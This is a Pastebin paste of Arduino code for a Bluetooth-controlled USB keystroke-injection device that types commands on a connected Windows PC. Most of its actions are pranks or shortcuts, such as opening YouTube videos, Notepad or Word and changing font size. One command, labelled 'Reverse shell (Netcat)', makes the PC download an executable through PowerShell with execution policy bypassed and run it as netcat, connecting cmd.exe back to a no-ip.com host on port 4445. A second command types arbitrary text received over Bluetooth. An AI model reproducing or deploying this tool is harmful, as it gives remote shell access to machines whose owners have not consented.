Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <SoftwareSerial.h>
- #include "Keyboard.h"
- #include "Mouse.h"
- //https://www.arduino.cc/en/Reference/KeyboardModifiers
- SoftwareSerial BTSerial(8, 9); // RX | TX
- int maxLength = 200;
- char inSerial[200];
- char mouse_start[10];
- char mouse_end[10];
- void typeKey(int key)
- {
- Keyboard.press(key);
- delay(50);
- Keyboard.release(key);
- }
- void openRun()
- {
- Keyboard.press(KEY_LEFT_GUI);
- delay(10);
- Keyboard.press('r');
- delay(50);
- Keyboard.releaseAll();
- delay(100);
- }
- void openCmd()
- {
- openRun();
- Keyboard.print("cmd");
- typeKey(KEY_RETURN);
- }
- void EnterCommand(char text[])
- {
- Keyboard.print(text);
- delay(10);
- typeKey(KEY_RETURN);
- }
- void SmoothMouseMove(int x, int y)
- {
- if(x>y)
- {
- for(int i=x; i>0 ;i--)
- {
- int y_bool = 1;
- if(y-1 > i)
- {
- y_bool = 0;
- }
- Mouse.move(1,y_bool,0);
- }
- }
- }
- void Check_Protocol(char inStr[]){
- int i=0;
- int m=0;
- if(!strcmp(inStr,"Cmd prompt"))
- {
- openCmd();
- }
- if(!strcmp(inStr,"Youtube_hacking"))
- {
- openRun();
- Keyboard.print("www.youtube.com/embed/VPmldO4BlSA?rel=0&autoplay=1"); //hacking VPmldO4BlSA //trololo 2Z4m4lnjxkY
- typeKey(KEY_RETURN);
- delay(3000);
- typeKey(KEY_F11);
- }
- if(!strcmp(inStr,"Youtube_crispy_pops"))
- {
- openRun();
- Keyboard.print("www.youtube.com/embed/_7sjaTI-RDU?rel=0&autoplay=1"); //trololo
- typeKey(KEY_RETURN);
- delay(3000);
- typeKey(KEY_F11);
- }
- if(!strcmp(inStr,"Youtube_trololo"))
- {
- openRun();
- Keyboard.print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
- typeKey(KEY_RETURN);
- delay(3000);
- typeKey(KEY_F11);
- }
- if(!strcmp(inStr,"Win+R (run)"))
- {
- openRun();
- }
- if(!strcmp(inStr,"Notepad"))
- {
- openRun();
- Keyboard.print("notepad");
- delay(100);
- typeKey(KEY_RETURN);
- }
- if(!strcmp(inStr,"Enter"))
- {
- typeKey(KEY_RETURN);
- }
- if(!strcmp(inStr,"Alt+F4"))
- {
- Keyboard.press(KEY_LEFT_ALT);
- delay(10);
- Keyboard.press(KEY_F4);
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"Word"))
- {
- openRun();
- EnterCommand("winword");
- }
- if(!strcmp(inStr,"Increase font size"))
- {
- Keyboard.press(KEY_LEFT_CTRL);
- delay(10);
- Keyboard.press(KEY_LEFT_SHIFT);
- delay(10);
- Keyboard.press('>');
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"Decrease font size"))
- {
- Keyboard.press(KEY_LEFT_CTRL);
- delay(10);
- Keyboard.press(KEY_LEFT_SHIFT);
- delay(10);
- Keyboard.press('<');
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"Select all"))
- {
- Keyboard.press(KEY_LEFT_CTRL);
- delay(10);
- Keyboard.press('a');
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"Bold"))
- {
- Keyboard.press(KEY_LEFT_CTRL);
- delay(10);
- Keyboard.press('b');
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"Underline"))
- {
- Keyboard.press(KEY_LEFT_CTRL);
- delay(10);
- Keyboard.press('u');
- delay(50);
- Keyboard.releaseAll();
- }
- if(!strcmp(inStr,"click"))
- {
- Mouse.click();
- }
- if(!strcmp(inStr,"Reverse shell (Netcat)"))
- {
- openCmd();
- EnterCommand("echo off");
- EnterCommand("cd / & mkdir win & cd win & echo (wget 'https://1fichier.com/?4kgg18s34q' -OutFile a.exe) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1");
- delay(3000);
- EnterCommand("START /MIN a.exe gibedata.no-ip.com 4445 -e cmd.exe -d & exit");
- }
- //if(!strcmp(inStr,"doubleclick"))
- //{
- // Mouse.click();
- // delay(100);
- // Mouse.click();
- //}
- if(StrContains(inSerial ,"mouse:") && StrContains(inSerial ,",end"))
- {
- long x=0;
- int y=0;
- x = atol(&inStr[10]);
- y = atol(&inStr[12]);
- //mouse:L,U,3,1,end
- if(inStr[6] == 76)//L
- {
- x = x * -1;
- }
- if(inStr[8] == 68)//D
- {
- y = y * -1;
- }
- Mouse.move(x*5, y*5, 0);
- //SmoothMouseMove(x*5, y*5);
- }
- if(StrContains(inSerial ,"DirectTextInstruction:"))
- {
- char directText[200];
- for(int i=0;i<strlen(inSerial);i++)
- {
- directText[i] = inSerial[i+22];
- }
- Keyboard.print(directText);
- }
- for(m=0;m<195;m++)
- {
- inStr[m]=0;
- }
- i=0;
- }
- bool StrContains(char *str, char *sfind)
- {
- char found = 0;
- char index = 0;
- char len;
- len = strlen(str);
- if (strlen(sfind) > len) {
- return false;
- }
- while (index < len) {
- if (str[index] == sfind[found]) {
- found++;
- if (strlen(sfind) == found) {
- return true;
- }
- }
- else {
- found = 0;
- }
- index++;
- }
- return false;
- }
- bool StrStartsWith(char* str, char* desiredStart)
- {
- if(strlen(desiredStart)>strlen(str))
- {
- return false;
- }
- char matching = 0;
- for(int i=0; i < strlen(desiredStart); i++)
- if(str[i] == desiredStart[i])
- matching++;
- if(matching == strlen(desiredStart))
- return true;
- return false;
- }
- bool StrEndsWith(char* str, char* desiredEnd)
- {
- if(strlen(desiredEnd)>strlen(str))
- {
- return false;
- }
- char matching = 0;
- char desiredEndLen = strlen(desiredEnd);
- char baseStrLen = strlen(str);
- for(int i=0;i<strlen(desiredEnd);i++)
- if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i])
- matching++;
- if(matching == desiredEndLen)
- return true;
- return false;
- }
- void setup()
- {
- //Serial.begin(9600);
- // Serial.println("Enter AT commands:");
- BTSerial.begin(38400); // HC-05 default speed in AT command more
- Keyboard.begin();
- Mouse.begin();
- Serial.begin(9600);
- strcpy(mouse_start, "mouse:");
- strcpy(mouse_end, ",end");
- }
- char matches=0;
- void loop()
- {
- // Keep reading from HC-05 and send to Arduino Serial Monitor
- int i=0;
- int m=0;
- delay(100);
- if (BTSerial.available() > 0)
- {
- while (BTSerial.available() > 0 && i < maxLength)
- {
- inSerial[i]=BTSerial.read();
- i++;
- if(strlen(inSerial) == 17)
- if(StrStartsWith(inSerial ,"mouse:") && StrEndsWith(inSerial ,",end"))//mouse:L,U,3,1,end
- break;
- /*
- if(strlen(inSerial) > 34)
- {
- if (StrContains(inSerial, "mouse:") && StrContains(inSerial, ",end"))
- {
- //format the string here so it's still usable despite of being something like: ,U,3,4,endmouse:R,U,3,4,endmmouse:R
- // char start[6];
- Serial.write("Original line:");
- Serial.write(inSerial);
- Serial.write("\n");
- matches = 0;
- for(int k=0;k<strlen(inSerial);k++)
- {
- if(inSerial[k] == mouse_start[matches])
- {
- matches++;
- }
- else
- {
- matches = 0;
- }
- if(matches == strlen(mouse_start))
- {
- for(int j=k-5;j<(200-k-6);j++)
- {
- inSerial[j-k+5] = inSerial[j];
- }
- i = k+1;
- //BTSerial.flush();
- break;
- }
- }
- break;
- }
- }
- */
- }
- inSerial[i]='\0';
- Serial.write(inSerial);
- Serial.write("\n");
- Check_Protocol(inSerial);
- }
- // Keep reading from Arduino Serial Monitor and send to HC-05
- //if (Serial.available())
- // BTSerial.write(Serial.read());
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement